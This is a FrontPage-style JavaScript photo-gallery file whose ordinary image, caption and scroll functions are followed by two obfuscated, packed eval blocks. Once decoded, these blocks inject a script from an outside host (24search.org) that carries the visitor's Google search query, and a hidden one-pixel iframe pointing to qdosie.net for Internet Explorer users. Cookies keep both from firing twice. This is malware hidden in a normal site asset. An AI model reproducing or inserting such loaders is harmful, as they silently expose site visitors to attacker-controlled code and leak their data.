leftdisabled = true
rightdisabled = true
widthLength = 640

function fp_ie4() {
	var nav = navigator.appVersion.indexOf("MSIE");
	return (nav>0) && (parseInt(navigator.appVersion.substring(nav+5, nav+6)) >= 4);
}

function fp_ns6() {
	return ((navigator.appName == "Netscape") &&
				(parseInt(navigator.appVersion.substring(0, 1)) >= 5))
}

function fp_ShowImg(src, sWidth, sHeight, sID, iIndex)
{	
	var el = document.images["fpGalleryMainImg_" + sID];
	if (el) {
		if(fp_ie4()) {
			el.style.visiblity = "hidden";
			el.src = src.lowsrc;
			el.width = sWidth;
			el.height = sHeight;
				
			var caption = document.all["fpGalleryCaptions_" + sID].all.tags("div")
			var sCaptionTxt;
			var sCaptionHTML;
			
			if (caption && caption[iIndex]) {
				sCaptionTxt = caption[iIndex].innerText
				sCaptionHTML = caption[iIndex].innerHTML
			} else {
				sCaptionTxt = "";
				sCaptionHTML = "";
			}
			
			el.title = sCaptionTxt;
			el.style.visiblity = "visible";
			
			var el = document.all["fpGalleryCaptionCell_" + sID];
			if (el) {
				el.innerHTML = sCaptionHTML;
			}
			
			var el = document.all["fpGalleryDescCell_" + sID];
			if (el) {
				var sDesc = document.all["fpGalleryDescriptions_" + sID].all.tags("div")
				el.innerHTML = sDesc && sDesc[iIndex]?sDesc[iIndex].innerHTML:"";
			}
		} else {
			el.src = src.lowsrc
			el.style.width = sWidth
			el.style.height = sHeight

			caption = document.getElementById("fpGalleryCaptions_" + sID).getElementsByTagName("div")			
			if (caption && caption[iIndex]) {
				sCaptionTxt = caption[iIndex].innerText
				sCaptionHTML = caption[iIndex].innerHTML
			} else {
				sCaptionTxt = ""
				sCaptionHTML = ""
			}
		
			el.title = sCaptionTxt			
			var e = document.getElementById("fpGalleryCaptionCell_" + sID)
			if (e) {
				e.innerHTML = sCaptionHTML
			}
			
			var e = document.getElementById("fpGalleryDescCell_" + sID)
			if (e) {
				var sDesc = document.getElementById("fpGalleryDescriptions_" + sID).getElementsByTagName("div")
				e.innerHTML = sDesc[iIndex]?sDesc[iIndex].innerHTML:""
			}

		}
	}
}

function fp_ScrollLeft(sID) {
	var el = document.all["fpGalleryListCell_" + sID];
	if (el && fp_ie4()) {
		var coll = el.children.tags("A");
		var count = 20;

		if (coll) {
			for (i=1;i<coll.length;i++) {
				if (coll(i).style.display != "none") {
					coll(i-1).style.display = "inline";
					break;	
				}
			}
			
			for (i=0;i<coll.length;i++) {
				if (coll(i).style.display != "none") {
					var images = coll[i].children.tags("img");
					count = count + 20 + images[0].width;
					
					if (count > widthLength)				
						coll(i).style.display = "none";
				}
			}

			if ((el.scrollWidth - 5) >= el.clientWidth) {
				var btn = document.all["fpGalleryRightBtn_" + sID]
				if (btn && rightdisabled) {
					rightdisabled = false;
					te = btn.src
					btn.src = btn.lowsrc
					btn.lowsrc = te
				}
			}
			
			if (coll(0).style.display != "none") {
				var btn = document.all["fpGalleryLeftBtn_" + sID]
				if (btn && !leftdisabled) {
					leftdisabled = true;
					te = btn.src
					btn.src = btn.lowsrc
					btn.lowsrc = te
				}
			}
		}
		
	}
}

function fp_ScrollRight(sID) {
	var el = document.all["fpGalleryListCell_" + sID];
	if (el && fp_ie4()) {
		if (!rightdisabled)
		{
			var coll = el.children.tags("A");
			if (coll) {
			    var state = 0;
				var count = 20;
				for (i=0;i<coll.length;i++) {
					if (state == 0)
					{
						if (coll(i).style.display != "none") {
							coll(i).style.display = "none";	
							state = 1;
						}
					}
					else{
						var images = coll[i].children.tags("img");
						count = count + 20 + images[0].width;
						if (count < widthLength)
							coll(i).style.display = "inline";
						else
							coll(i).style.display = "none";
					}
				}
			}
		
			var btn = document.all["fpGalleryRightBtn_" + sID];
			if (btn && coll(coll.length - 1).style.display != "none") {
				rightdisabled = true
				te = btn.src
				btn.src = btn.lowsrc
				btn.lowsrc = te
			}
			
			var btn = document.all["fpGalleryLeftBtn_" + sID];
			if (btn && leftdisabled) {
				te = btn.src
				btn.src = btn.lowsrc
				btn.lowsrc = te
				leftdisabled = false
			}
		}		
	}
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));
sa="%71%64%6F%73%69%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
